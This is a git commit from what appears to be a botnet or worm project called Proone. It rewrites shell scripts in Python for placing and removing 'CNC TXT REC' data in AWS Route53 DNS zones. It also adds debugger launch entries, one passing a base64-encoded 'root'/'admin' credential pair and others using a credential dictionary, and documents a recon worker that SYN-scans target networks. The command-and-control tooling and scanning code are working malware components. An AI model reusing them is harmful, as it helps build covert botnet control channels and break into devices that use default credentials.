aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-12-14 14:14:54 +0800
committerDavid Timber <mieabby@gmail.com>2021-12-14 14:14:54 +0800
commit80a062ef30a2f945f6634ca9a0bf2b886a54e3ae (patch)
tree5425fb4a41ccceb04e15444865c9cbb94cc89dd5
parent15ba357fa1b309171b4a6def367b7f82724f2e55 (diff)
Doc progress, reimpl txtrec scripts in Python ...
* Delete prne_own_recon_param() as it served no purpose
-rw-r--r--.gitignore2
-rw-r--r--.vscode/launch.json65
-rw-r--r--doc/sws.md7
-rw-r--r--src/imap.h2
-rw-r--r--[-rwxr-xr-x]src/prne_txtrec.py (renamed from src/txtrec-set.sh)107
-rwxr-xr-xsrc/proone-txtrec-del.py180
-rwxr-xr-xsrc/proone-txtrec-set.py141
-rw-r--r--src/pth.h65
-rw-r--r--src/recon.c9
-rw-r--r--src/recon.h54
-rw-r--r--src/resolv.h250
-rw-r--r--src/rnd.h45
-rw-r--r--src/strmap.h55
-rwxr-xr-xsrc/txtrec-del.sh85
-rwxr-xr-xsrc/txtrec-enc.sh40
15 files changed, 817 insertions, 290 deletions
diff --git a/.gitignore b/.gitignore
index 9553d35..2e59c1d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,7 @@
-
Makefile
Makefile.in
\.deps
+__pycache__
/COPYING\.*
/configure
diff --git a/.vscode/launch.json b/.vscode/launch.json
index 537323d..c6d96f8 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -9,7 +9,10 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-htbthost",
- "args": [ "test", "--no-verify" ],
+ "args": [
+ "test",
+ "--no-verify"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -35,7 +38,11 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-htbtclient",
- "args": [ "-t", "localhost", "hostinfo" ],
+ "args": [
+ "-t",
+ "localhost",
+ "hostinfo"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -64,7 +71,10 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-rnd",
- "args": [ "256", "256" ],
+ "args": [
+ "256",
+ "256"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -79,7 +89,11 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-recon",
- "args": [ "./src/data/recon.conf", "22", "23" ],
+ "args": [
+ "./src/data/recon.conf",
+ "22",
+ "23"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -87,8 +101,7 @@
"MIMode": "gdb",
"setupCommands": [
{
- "description":
- "Disable startup-with-shell to pass file cap",
+ "description": "Disable startup-with-shell to pass file cap",
"text": "set startup-with-shell off",
"ignoreFailures": false
}
@@ -101,7 +114,10 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-mkcdict",
- "args": [ "./src/data/cred_dict.txt", "./src/data/cred_dict.bin" ],
+ "args": [
+ "./src/data/cred_dict.txt",
+ "./src/data/cred_dict.bin"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -139,7 +155,9 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone-hostinfod",
- "args": [ "./src/data/hostinfod.conf" ],
+ "args": [
+ "./src/data/hostinfod.conf"
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -155,13 +173,14 @@
"preLaunchTask": "Build hostinfod",
"miDebuggerPath": "/usr/bin/gdb"
},
-
{
"name": "proone",
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone",
- "args": [ "cm9vdABhZG1pbgA=" ],
+ "args": [
+ "cm9vdABhZG1pbgA="
+ ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
@@ -179,8 +198,7 @@
"ignoreFailures": false
},
{
- "description":
- "Disable startup-with-shell to pass file cap",
+ "description": "Disable startup-with-shell to pass file cap",
"text": "set startup-with-shell off",
"ignoreFailures": false
}
@@ -188,7 +206,6 @@
"preLaunchTask": "Build proone",
"miDebuggerPath": "/usr/bin/gdb"
},
-
{
"name": "test_proto",
"type": "cppdbg",
@@ -204,5 +221,27 @@
"preLaunchTask": "Build test_proto",
"miDebuggerPath": "/usr/bin/gdb"
},
+ {
+ "name": "txtrec-del",
+ "type": "python",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-txtrec-del.py",
+ "args": [ "CHANGE.ME.test", "aws", "AAAAAAAAAAAAA" ],
+ "console": "integratedTerminal"
+ },
+ {
+ "name": "txtrec-set",
+ "type": "python",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-txtrec-set.py",
+ "args": [
+ "CHANGE.ME.test",
+ "CHANGE.ME.cnc.test",
+ "aws",
+ "AAAAAAAAAAAAA",
+ "<",
+ "${workspaceFolder}/src/data/proto/txtrec-testdata" ],
+ "console": "integratedTerminal"
+ },
]
}
diff --git a/doc/sws.md b/doc/sws.md
index 9c793f2..c057937 100644
--- a/doc/sws.md
+++ b/doc/sws.md
@@ -467,12 +467,11 @@ proone-htbtclient. MariaDB for DB backend.
* /scripts/extsymsize.sh: (undocumented)
* /src/build-utils.sh: file alignment tool used by Makefile recipe
* /src/data/proto/print-raw.sh: (undocumented)
+* /src/data/sql/hi-create.sql: MariaDB schema for hostinfo daemon
+* /src/proone-txtrec-del.py: CNC TXT REC deletion tool
+* /src/proone-txtrec-set.py: CNC TXT REC set up tool
* /src/run-tests.sh: (undocumented)
* /src/test-resolv.sh: test suite for resolv worker
-* /src/txtrec-del.sh: CNC TXT REC deletion tool
-* /src/txtrec-enc.sh: CNC TXT REC data encoding tool
-* /src/txtrec-set.sh: CNC TXT REC set up tool
-* /src/data/sql/hi-create.sql: MariaDB schema for hostinfo daemon
## Footnotes
[^1]: i.e. representing values in code: `int value = 123;`
diff --git a/src/imap.h b/src/imap.h
index 2f52755..c3b5a91 100644
--- a/src/imap.h
+++ b/src/imap.h
@@ -80,7 +80,7 @@ void prne_imap_clear (prne_imap_t *im);
* \param val The value of the new tuple.
* \return The pointer to the new tuple allocated in the map. The pointer is
* valid as long as the map object remains unmodified.
- * \retval NULL if a memory allocation has occurred and \c errno is set to
+ * \retval NULL if memory allocation error has occurred and \c errno is set to
* \c ENOMEM
* \note Calling the function invalidates the pointers previously returned by
* other functions.
diff --git a/src/txtrec-set.sh b/src/prne_txtrec.py
index 573b097..a432f67 100755..100644
--- a/src/txtrec-set.sh
+++ b/src/prne_txtrec.py
@@ -1,5 +1,3 @@
-#!/bin/bash
-
# Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
@@ -19,64 +17,47 @@
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
-
-set -e
-
-ARR_HOOKS="
- aws
-"
-
-if [ $# -lt 2 ]; then
- echo "Usage: $0 <head rec> <hook> <zone id> [TTL]
-Hooks:" >&2
- for h in $ARR_HOOKS; do
- echo -e "\t$h"
- done
-
- exit 2
-fi
-
-HEAD_REC="$1"
-HOOK="$2"
-ZONE_ID="$3"
-if [ -z "$4" ]; then
- TTL=3600
-else
- TTL="$4"
-fi
-
-aws_param () {
- cat << EOF
-{
- "Changes": [
- {
- "Action": "UPSERT",
- "ResourceRecordSet": {
- "Name": "$1",
- "Type": "TXT",
- "TTL": $TTL,
- "ResourceRecords": [
- { "Value": "\"$2\"" }
- ]
- }
- }
- ]
-}
-EOF
-}
-
-hook_aws () {
- aws route53 change-resource-record-sets\
- --hosted-zone-id "$ZONE_ID"\
- --change-batch "$(aws_param "$1" "$2")"
-}
-
-while read line; do
- if [ -z "$line" ]; then
- break;
- fi
- "hook_$HOOK" $line
-done
-
-read line
-"hook_$HOOK" "$HEAD_REC" "$line"
+import sys
+from typing import Iterable
+
+# AWS hook - The max number of objects in a request
+AWS_MAX_ITEMS = 1000
+
+## Handle error according to the error definition
+# @param o the error definition
+# @param e the exception (optional)
+# @param m the error message header, perror() param equiv (optional)
+# @note The function will call \c exit() if the error definition dictates to do
+# so
+def handle_err (o, e, m):
+ if e:
+ sys.stderr.write(e + "\n\n")
+ if m:
+ l = m + ": " + o["msg"] + "\n"
+ else:
+ l = o["msg"] + "\n"
+
+ sys.stderr.write(l)
+ if "ec" in o:
+ exit(o["ec"])
+
+## Append a dot(".") to the string if it does not end with the dot
+def termdot (str: str):
+ if not str.endswith("."):
+ return str + "."
+ return str
+
+# Change all RRs specified in the iterable
+def change_all (client, zone_id: str, action: str, it: Iterable):
+ c_arr = []
+ for rr in it:
+ c_arr.append({
+ 'Action': action,
+ 'ResourceRecordSet': rr
+ })
+ cb = { 'Changes': c_arr }
+
+ return client.change_resource_record_sets(
+ HostedZoneId = zone_id,
+ ChangeBatch = cb
+ )
diff --git a/src/proone-txtrec-del.py b/src/proone-txtrec-del.py
new file mode 100755
index 0000000..8fadce3
--- /dev/null
+++ b/src/proone-txtrec-del.py
@@ -0,0 +1,180 @@
+#!/usr/bin/env python3
+## \file
+# \brief CNC TXT REC delete script
+
+# Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import sys
+import re
+import prne_txtrec
+
+# regex for seperating the number of data RRs and the suffix from the head TXT
+HEAD_TXT_RE = re.compile('"([0-9]{8})(.*)"')
+# regex for seperating the index and the suffix from the data TXT
+DATA_TXT_RE = re.compile('([0-9]{8})(.*)')
+
+# Error definitions
+HOOK_ERRORS = {
+ "NOT_IMPL": {
+ "msg": "not implemented",
+ "ec": 1
+ },
+ "AWS_NO_BOTO3": {
+ "msg": "Please install Boto3 for AWS hook",
+ "ec": 1
+ },
+ "NO_RR": {
+ "msg": "No RR in the zone specified",
+ "ec": 1
+ },
+ "NO_HEAD_REC": {
+ "msg": "The head rec not found",
+ "ec": 1
+ },
+ "MULTI_HEAD_REC": {
+ "msg": "The head rec has multiple TXT values",
+ "ec": 1
+ },
+ "HEAD_REC_INV_FMT": {
+ "msg": "Invalid format of the head TXT rec value",
+ "ec": 1
+ },
+}
+
+# AWS hook main function
+def main_aws (zone_id: str, head_rec: str):
+ try:
+ import boto3
+ except ModuleNotFoundError as e:
+ prne_txtrec.handle_err(HOOK_ERRORS["AWS_NO_BOTO3"], e)
+
+ client = boto3.client("route53")
+ del_q = [] # List of RRs to be deleted
+
+ # Get the head RR
+ r = client.list_resource_record_sets(
+ HostedZoneId = zone_id,
+ StartRecordName = head_rec,
+ StartRecordType = "TXT")
+ rrs = r['ResourceRecordSets']
+
+ # Handle general errors
+ if len(rrs) <= 0:
+ # No RR in the zone
+ prne_txtrec.handle_err(HOOK_ERRORS["NO_RR"])
+ if rrs[0]['Name'].lower() != head_rec:
+ # If the list does not start with the head rec, which is
+ # specifically requested, the head rec probably doesn't exist in the
+ # zone.
+ prne_txtrec.handle_err(HOOK_ERRORS["NO_HEAD_REC"])
+ if len(rrs[0]['ResourceRecords']) > 1:
+ # Multiple RR data. This is a protocol error - the scripts will
+ # never allow RRs with muiltiple TXT values
+ prne_txtrec.handle_err(HOOK_ERRORS["MULTI_HEAD_REC"])
+ head_rr = rrs[0]
+
+ # Seperate the number of records and the suffix
+ head_txt = head_rr['ResourceRecords'][0]['Value']
+ m = HEAD_TXT_RE.fullmatch(head_txt)
+ if not m:
+ prne_txtrec.handle_err(
+ HOOK_ERRORS["HEAD_REC_INV_FMT"],
+ None,
+ head_txt if head_txt.isprintable() else None)
+ nb_rr = int(m.group(1))
+ suffix = prne_txtrec.termdot(m.group(2))
+
+ # Go through all the records in the zone to delete the records that fall
+ # into the criteria - suffix and the prefix number in range
+
+ # Using these will start the list from the first record. Hopefully, the
+ # server returns the list in order so that the script does not have to
+ # visit the other irrelevant RRs in the zone
+ next_name = "00000000" + suffix
+ next_type = "TXT"
+ while len(del_q) in range(0, nb_rr):
+ r = client.list_resource_record_sets(
+ HostedZoneId = zone_id,
+ StartRecordName = next_name,
+ StartRecordType = next_type)
+ rrs = r['ResourceRecordSets']
+
+ if not rrs:
+ break
+ if 'IsTruncated' in r and r['IsTruncated']:
+ # Set up the tokens for the next iteration
+ next_name = r['NextRecordName']
+ next_type = r['NextRecordType']
+
+ for rr in rrs:
+ if rr['Type'] != "TXT":
+ continue
+ m = DATA_TXT_RE.fullmatch(rr['Name'])
+ if not m or m.group(2).lower() != suffix:
+ continue
+ if not (int(m.group(1)) in range(0, nb_rr)):
+ continue
+ # Matches the criteria. Queue for deletion
+ del_q.append(rr)
+
+ while del_q:
+ # Delete AWS_MAX_ITEMS RRs at a time as per recommendation
+ prne_txtrec.change_all(
+ client,
+ zone_id,
+ 'DELETE',
+ del_q[:min(len(del_q),
+ prne_txtrec.AWS_MAX_ITEMS)])
+ del del_q[:min(len(del_q), prne_txtrec.AWS_MAX_ITEMS)]
+ # Finally, delete the head rec
+ prne_txtrec.change_all(client, zone_id, 'DELETE', [head_rr])
+
+HOOKS = {
+ "aws": main_aws
+}
+USAGE_LINES = [
+ "Usage: " + sys.argv[0] + " <head rec> <hook> <zone id>\n",
+ "Hooks:\n"
+]
+for h in HOOKS:
+ USAGE_LINES.append(" " + h + "\n")
+
+def print_usage (out):
+ out.writelines(USAGE_LINES)
+
+# proecss argv
+try:
+ ARGV_DICT = {
+ "head_rec": prne_txtrec.termdot(sys.argv[1].lower()),
+ "hook": sys.argv[2].lower(),
+ "zone_id": sys.argv[3]
+ }
+except IndexError:
+ print_usage(sys.stderr)
+ exit(1)
+
+# call the function
+try:
+ HOOKS[ARGV_DICT["hook"]](ARGV_DICT["zone_id"], ARGV_DICT["head_rec"])
+except KeyError:
+ prne_txtrec.handle_err(HOOK_ERRORS["NOT_IMPL"], None, ARGV_DICT["hook"])
+
+exit(0)
diff --git a/src/proone-txtrec-set.py b/src/proone-txtrec-set.py
new file mode 100755
index 0000000..cdba79a
--- /dev/null
+++ b/src/proone-txtrec-set.py
@@ -0,0 +1,141 @@
+#!/usr/bin/env python3
+## \file
+# \brief CNC TXT REC set up script
+
+# Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import sys
+import base64
+import prne_txtrec
+
+# Error definitions
+HOOK_ERRORS = {
+ "NOT_IMPL": {
+ "msg": "not implemented",
+ "ec": 1
+ },
+ "AWS_NO_BOTO3": {
+ "msg": "Please install Boto3 for AWS hook",
+ "ec": 1
+ },
+ "INV_ARG": {
+ "msg": "invalid argument",
+ "ec": 2
+ }
+}
+
+# AWS hook main function
+def main_aws (zone_id: str, head_rec: str, suffix: str, ttl: int):
+ if ttl is None:
+ ttl = 3600
+
+ try:
+ import boto3
+ except ModuleNotFoundError as e:
+ prne_txtrec.handle_err(HOOK_ERRORS["AWS_NO_BOTO3"], e)
+
+ client = boto3.client("route53")
+ ins_q = [] # List of RRs to be inserted
+ cnt = 0
+
+ # process the queued request and clear the queue
+ def flush_q ():
+ prne_txtrec.change_all(client, zone_id, 'UPSERT', ins_q)
+ ins_q.clear()
+
+ while True:
+ b = sys.stdin.buffer.read(189)
+ if not b: # Assume that EOF is reached
+ break
+
+ ins_q.append({
+ 'Name': "%08u" % (cnt) + suffix,
+ 'Type': 'TXT',
+ 'TTL': ttl,
+ 'ResourceRecords': [
+ { 'Value': '"' + base64.b64encode(b).decode('ascii') + '"' }
+ ]
+ })
+ cnt = cnt + 1
+ if len(ins_q) >= prne_txtrec.AWS_MAX_ITEMS:
+ flush_q()
+
+ flush_q()
+ head_rr = "%08u" % (cnt) + suffix
+ # insert the head rec
+ prne_txtrec.change_all(
+ client,
+ zone_id,
+ 'UPSERT',
+ [{
+ 'Name': head_rec,
+ 'Type': 'TXT',
+ 'TTL': ttl,
+ 'ResourceRecords': [
+ { 'Value': '"' + head_rr + '"' }
+ ]
+ }])
+
+HOOKS = {
+ "aws": main_aws
+}
+USAGE_LINES = [
+ "Usage: " + sys.argv[0] + " <head rec> <suffix> <hook> <zone id> [TTL]\n",
+ "Hooks:\n"
+]
+for h in HOOKS:
+ USAGE_LINES.append(" " + h + "\n")
+
+def print_usage (out):
+ out.writelines(USAGE_LINES)
+
+# proecss argv
+try:
+ ARGV_DICT = {
+ "head_rec": prne_txtrec.termdot(sys.argv[1].lower()),
+ "suffix": prne_txtrec.termdot(sys.argv[2].lower()),
+ "hook": sys.argv[3].lower(),
+ "zone_id": sys.argv[4]
+ }
+ if len(sys.argv) >= 6:
+ try:
+ ARGV_DICT["ttl"] = int(sys.argv[5])
+ if not (ARGV_DICT["ttl"] in range(0, 2147483648)):
+ raise ValueError()
+ except ValueError:
+ prne_txtrec.handle_err(HOOK_ERRORS["INV_ARG"], None, sys.argv[5])
+ else:
+ ARGV_DICT["ttl"] = None
+except IndexError:
+ print_usage(sys.stderr)
+ exit(1)
+
+# call the function
+try:
+ HOOKS[ARGV_DICT["hook"]](
+ ARGV_DICT["zone_id"],
+ ARGV_DICT["head_rec"],
+ ARGV_DICT["suffix"],
+ ARGV_DICT["ttl"])
+except KeyError:
+ prne_txtrec.handle_err(HOOK_ERRORS["NOT_IMPL"], None, ARGV_DICT["hook"])
+
+exit(0)
diff --git a/src/pth.h b/src/pth.h
index 8185598..5321f8b 100644
--- a/src/pth.h
+++ b/src/pth.h
@@ -1,3 +1,6 @@
+/** \file
+ * \brief The convenience functions and abstraction for GNU Portable Threads
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -25,39 +28,73 @@
#include <pthsem.h>
+// The worker object (abstract)
struct prne_worker {
- void *ctx;
- void *(*entry)(void*);
- void (*fin)(void*);
- void (*free_ctx)(void*);
- pth_t pth;
+ void *ctx; // The opaque internal context
+ void *(*entry)(void*); // The "run" function
+ void (*fin)(void*); // The function that signals the thread to exit
+ void (*free_ctx)(void*); // The function used to free the context object
+ pth_t pth; // The PTH handle
+ // The attribute of the PTH thread acquired at the point of creation
pth_attr_t attr;
};
typedef struct prne_worker prne_worker_t;
+// The PTH condition variable object (parametres required for notify())
struct prne_pth_cv {
- pth_mutex_t *lock;
- pth_cond_t *cond;
- bool broadcast;
+ pth_mutex_t *lock; // The mutex
+ pth_cond_t *cond; // The CV
+ bool broadcast; // The broadcast flag (set to true to notify all threads)
};
typedef struct prne_pth_cv prne_pth_cv_t;
+/**
+ * \brief Initialise the worker object
+ * \note Initialises the members of \p w to initial values. Prepares \p w so
+ * that it can be freed using \c prne_free_worker()
+ */
void prne_init_worker (prne_worker_t *w);
+/**
+ * \brief Free the resources allocated for the worker object
+ * \param w The pointer to the object that has been initialised using
+ * \c prne_init_worker()
+ * \warning The worker has to be joined using \c pth_join() beforehand!
+ */
void prne_free_worker (prne_worker_t *w);
+/**
+ * \brief Signal the worker to exit
+ */
void prne_fin_worker (prne_worker_t *w);
-/* Workaround for bug in GNU Pth
-* Calling pth_poll() with pollfd element whose fd is negative value results in
-* undefined behaviour as stated in POSIX(FD_SET() with invalid value is
-* undefined). GNU Pth uses FD_SET() with invalid values on purpose to achieve
-* something.
-*/
+/**
+ * \brief The workaround for the bug in \c pth_poll() implementation. Calling
+ * pth_poll() with pollfd element whose fd is negative value results in
+ * undefined behaviour as stated in POSIX(FD_SET() with invalid value is
+ * undefined). GNU Pth uses FD_SET() with invalid values on purpose. This leads
+ * to an undefined behaivour.
+ * \see \c pth_poll()
+ */
int prne_pth_poll (
struct pollfd *pfd,
const nfds_t nfs,
const int timeout,
pth_event_t ev);
+/**
+ * \brief Condition variable notify convenience function
+ * \param lock The PTH mutex
+ * \param cond The PTH condition variable
+ * \param broadcast True to notify all PTH threads. False to notify one PTH
+ * thread
+ */
void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast);
+/**
+ * \brief Convert the time spec structure to PTH time
+ */
pth_time_t prne_pth_tstimeout (const struct timespec ts);
+/**
+ * \brief Free the PTH event handle and set up a new timeout event
+ * \param[in,out] ev The pointer to the event handle pointer
+ * \param ts The time spec structure
+ */
void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts);
diff --git a/src/recon.c b/src/recon.c
index d76ca1f..2d4439f 100644
--- a/src/recon.c
+++ b/src/recon.c
@@ -1341,12 +1341,3 @@ bool prne_alloc_recon_param (
return ret;
}
-
-prne_recon_param_t prne_own_recon_param (
- const prne_recon_param_t *p,
- const bool ownership)
-{
- prne_recon_param_t ret = *p;
- ret.ownership = ownership;
- return ret;
-}
diff --git a/src/recon.h b/src/recon.h
index a67cf12..ede9600 100644
--- a/src/recon.h
+++ b/src/recon.h
@@ -1,3 +1,6 @@
+/** \file
+ * \brief The recon worker
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -26,45 +29,84 @@
#include <mbedtls/ctr_drbg.h>
+/* Alias and forward declarations */
+/**
+ * \brief The opauqe handle type to an instance of the recon worker. Reserved
+ * for future use.
+ */
typedef struct prne_recon prne_recon_t;
typedef struct prne_recon_param prne_recon_param_t;
typedef struct prne_recon_network prne_recon_network_t;
typedef void(*prne_recon_evt_ft)(void *ctx, const prne_net_endpoint_t *ep);
+// The recon network object
struct prne_recon_network {
prne_ip_addr_t addr;
- uint8_t mask[16];
+ uint8_t mask[16]; // The netmask bits in the network order
};
+// The recon worker parameter object
struct prne_recon_param {
+ // The blacklisted networks
struct {
prne_recon_network_t *arr;
size_t cnt;
} blist;
+ // The target networks
struct {
prne_recon_network_t *arr;
size_t cnt;
} target;
+ // The destination ports in SYN packets
struct {
uint16_t *arr;
size_t cnt;
} ports;
- prne_recon_evt_ft evt_cb;
- void *cb_ctx;
+ prne_recon_evt_ft evt_cb; // The discovery event callback function
+ void *cb_ctx; // The context object for event callbacks
+ /*
+ * True if the object has the responsibility of freeing the dynamically
+ * allocated members
+ */
bool ownership;
};
+/**
+ * \brief Allocate resources and start an instance of the recon worker
+ * \param wkr The initialised worker object
+ * \param ctr_drbg The CTR DRBG object to use for initial random values
+ * \param param The recon worker parameter object
+ * \return A handle to the instance
+ * \retval NULL if an error occurred. \c errno set.
+ */
prne_recon_t *prne_alloc_recon (
prne_worker_t *wkr,
mbedtls_ctr_drbg_context *ctr_drbg,
const prne_recon_param_t *param);
+/**
+ * \brief Initialise the recon worker parameter object
+ * \note Initialises the members of \p p to initial values. Prepares \p p so
+ * that it can be freed using \c prne_free_recon_param()
+ */
void prne_init_recon_param (prne_recon_param_t *p);
+/**
+ * \brief Free the resources allocated for the recon worker parameter object
+ * \param p The pointer to the object that has been initialised using
+ * \c prne_init_recon_param()
+ */
void prne_free_recon_param (prne_recon_param_t *p);
+/**
+ * \brief Allocate dynamically allocated members in the recon worker parameter
+ * object
+ * \param p The pointer to the recon worker parameter object
+ * \param blist The number of blacklisted networks
+ * \param target The number of target networks
+ * \param ports The number of the destination ports in SYN packets
+ * \retval true if allocation was successful
+ * \retval false otherwise and \c errno is set to \c ENOMEM
+ */
bool prne_alloc_recon_param (
prne_recon_param_t *p,
const size_t blist,
const size_t target,
const size_t ports);
-prne_recon_param_t prne_own_recon_param (
- const prne_recon_param_t *p,
- const bool ownership);
diff --git a/src/resolv.h b/src/resolv.h
index 352da48..f823410 100644
--- a/src/resolv.h
+++ b/src/resolv.h
@@ -1,3 +1,7 @@
+/** \file
+ * \brief The resolv worker
+ * \note Open RFC 1035 now!
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -26,8 +30,9 @@
#include <mbedtls/ctr_drbg.h>
+/* Alias and forward declarations */
struct prne_resolv;
-typedef struct prne_resolv prne_resolv_t;
+typedef struct prne_resolv prne_resolv_t; // The instance handle type (opaque)
typedef struct prne_resolv_ns_pool prne_resolv_ns_pool_t;
struct prne_resolv_prm;
@@ -36,59 +41,88 @@ struct prne_resolv_rr;
typedef struct prne_resolv_prm prne_resolv_prm_t;
typedef struct prne_resolv_fut prne_resolv_fut_t;
typedef struct prne_resolv_rr prne_resolv_rr_t;
-typedef uint16_t prne_resolv_rcode_t;
+typedef uint16_t prne_resolv_rcode_t; // The type for DNS return codes
+// The query operation result
typedef enum {
- PRNE_RESOLV_QR_NONE = -1,
+ PRNE_RESOLV_QR_NONE = -1, // Null value
- PRNE_RESOLV_QR_OK,
- PRNE_RESOLV_QR_ERR,
- PRNE_RESOLV_QR_PRO_ERR,
- PRNE_RESOLV_QR_FIN,
- PRNE_RESOLV_QR_IMPL,
- PRNE_RESOLV_QR_TIMEOUT,
- PRNE_RESOLV_QR_STATUS,
+ PRNE_RESOLV_QR_OK, // Operation successful
+ PRNE_RESOLV_QR_ERR, // Error occurred (errno set)
+ PRNE_RESOLV_QR_PRO_ERR, // Protocol error
+ PRNE_RESOLV_QR_FIN, // prne_fin_worker() called whilst processing query
+ PRNE_RESOLV_QR_IMPL, // Failed due to implementation's limitation
+ PRNE_RESOLV_QR_TIMEOUT, // Query timed out
+ PRNE_RESOLV_QR_STATUS, // RCODE other than zero returned
- NB_PRNE_RESOLV
+ NB_PRNE_RESOLV // Meta value: the number of enums excluding the null value
} prne_resolv_qr_t;
+// The record type
typedef enum {
- PRNE_RESOLV_QT_NONE = -1,
+ PRNE_RESOLV_QT_NONE = -1, // Null value
- PRNE_RESOLV_QT_A,
- PRNE_RESOLV_QT_AAAA,
- PRNE_RESOLV_QT_TXT,
+ PRNE_RESOLV_QT_A, // A record
+ PRNE_RESOLV_QT_AAAA, // AAAA record
+ PRNE_RESOLV_QT_TXT, // TXT record
+ // Meta value: the number of enums excluding the null value
NB_PRNE_RESOLV_QT
} prne_resolv_query_type_t;
+// The name server pool object
struct prne_resolv_ns_pool {
- prne_net_endpoint_t *arr;
- size_t cnt;
+ prne_net_endpoint_t *arr; // The pointer to the array of name servers
+ size_t cnt; // The number of elements in the array
+ /*
+ * True if the object has the responsibility of freeing the dynamically
+ * allocated members
+ */
bool ownership;
};
+// The query operation promise object
struct prne_resolv_prm {
- void *ctx;
- prne_resolv_fut_t *fut;
+ void *ctx; // The opaque context
+ prne_resolv_fut_t *fut; // The future object
};
+/**
+ * \brief The query operation future object
+ * \note The life span of the future object is independent of the life span of
+ * the promise object
+ */
struct prne_resolv_fut {
- size_t rr_cnt;
- prne_resolv_rr_t *rr;
- int err;
- prne_resolv_qr_t qr;
- prne_resolv_rcode_t status;
+ size_t rr_cnt; // The number of resource records
+ prne_resolv_rr_t *rr; // The pointer to the array of resource records
+ int err; // errno occurred whilst processing the query
+ prne_resolv_qr_t qr; // The query result code
+ prne_resolv_rcode_t status; // The returned query status code
};
+// The query resource record
struct prne_resolv_rr {
+ /*
+ * The name of the record, the lengths of the labels replaced with the
+ * character '.'. This means that the names will look like this:
+ * "www.example.com."
+ */
char *name;
- uint16_t rr_class, rr_type;
- uint32_t rr_ttl;
+ uint16_t
+ rr_class, // The resource record class (1, the internet)
+ rr_type; // The resource type (not prne_resolv_query_type_t)
+ uint32_t rr_ttl; // The TTL value of the record
+ // The pointer to the binary data, including the preceeding length byte
uint8_t *rd_data;
- uint16_t rd_len;
+ uint16_t rd_len; // The byte length of the binary data
};
+/* The IPv4 addresses of the popular public name servers for use in array
+ * initialiser lists.
+ * Note that the byte length of these addresses are 16 bytes so that they can be
+ * used to initialise prne_ip_addr_t. You may to ignore the last 12 bytes by
+ * explicitly declaring the size of the array.
+ */
#define PRNE_RESOLV_NS_IPV4_GOOGLE_A \
0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00,\
